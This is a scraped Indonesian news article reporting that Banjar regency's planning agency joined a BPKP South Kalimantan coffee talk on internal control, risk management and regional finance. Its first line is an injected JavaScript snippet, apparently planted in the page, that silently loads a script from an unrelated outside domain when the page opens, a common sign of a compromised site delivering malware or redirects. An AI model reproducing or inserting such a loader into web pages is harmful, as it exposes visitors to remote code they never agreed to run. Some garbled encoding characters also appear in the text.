(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bappedalitbang Banjar Ikuti Coffe Talk BPKP Kalsel

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar mengikuti Coffe Talk Konsultasi Peningkatan Kualitas Sistem Pengendalian Intern Pemerintah (SPIP) Terintegrasi Tahun 2023 yang digelar oleh Badan Pengawas Keuangan dan Pembangunan (BPKP) Perwakilan Provinsi Kalimantan Selatan, Selasa (7/2/2023).

Kepala Sub Bagian Perencanaan Bappedalitbang hadir bersama Inspektur Daerah Kabupaten Banjar, Sekretaris Inspektur Pembantu Wilayah IV Inspektorat Daerah Kabupaten Banjar, Kepala Badan Pengelolaan Keuangan, Pendapatan dan Aset Daerah (BPKPAD), Kepala Bidang Anggaran BPKPAD, Kepala Bidang Keuangan dan Aset Desa Dinas Pemberdayaan Masyarakat dan Desa (PMD) Kabupaten Banjar.

Kegiatan itu bertujuan membahas Manajemen Risiko Indeks (MRI) Pemerintah Daerah Kabupaten Banjar, Pengelolaan Keuangan Daerah dan Desa bersama Tim Konsultan Pemangku BPKP Kalsel.

Adapun tema yang diangkat antara lain mengenai Akuntabilitas Keuangan dan Kinerja, Kondisi Manajemen Risiko,Â Area of ImprovementÂ (AO), Indeks Efektivitas Pencegahan Korupsi (IEPK), Inflasi, APBD, Pengelolaan Keuangan dan Aset Daerah, SPIP, serta katalog layanan BPKP Kalsel.

Pada kesempatan ini dijelaskan terkait SPIP terintegrasi yang merupakan tata Kelola organisasi dan mekanisme kerja sebagai pertimbangan dalam menentukan Langkah-langkah mitigasi risiko.

Manajemen risiko diperlukan untuk memitigasi adanya risiko-risiko strategis yang berpotensi menghambat pencapaian tujuan organisasi. Risiko-risiko ini perlu diidentifikasi, dianalisis dan ditangani agar gangguan terhadap pencapaian tujuan organisasi dapat diminimalisasi.Â (kanalkalimantan.com/bappedalitbangbanjar)

Editor: Dhani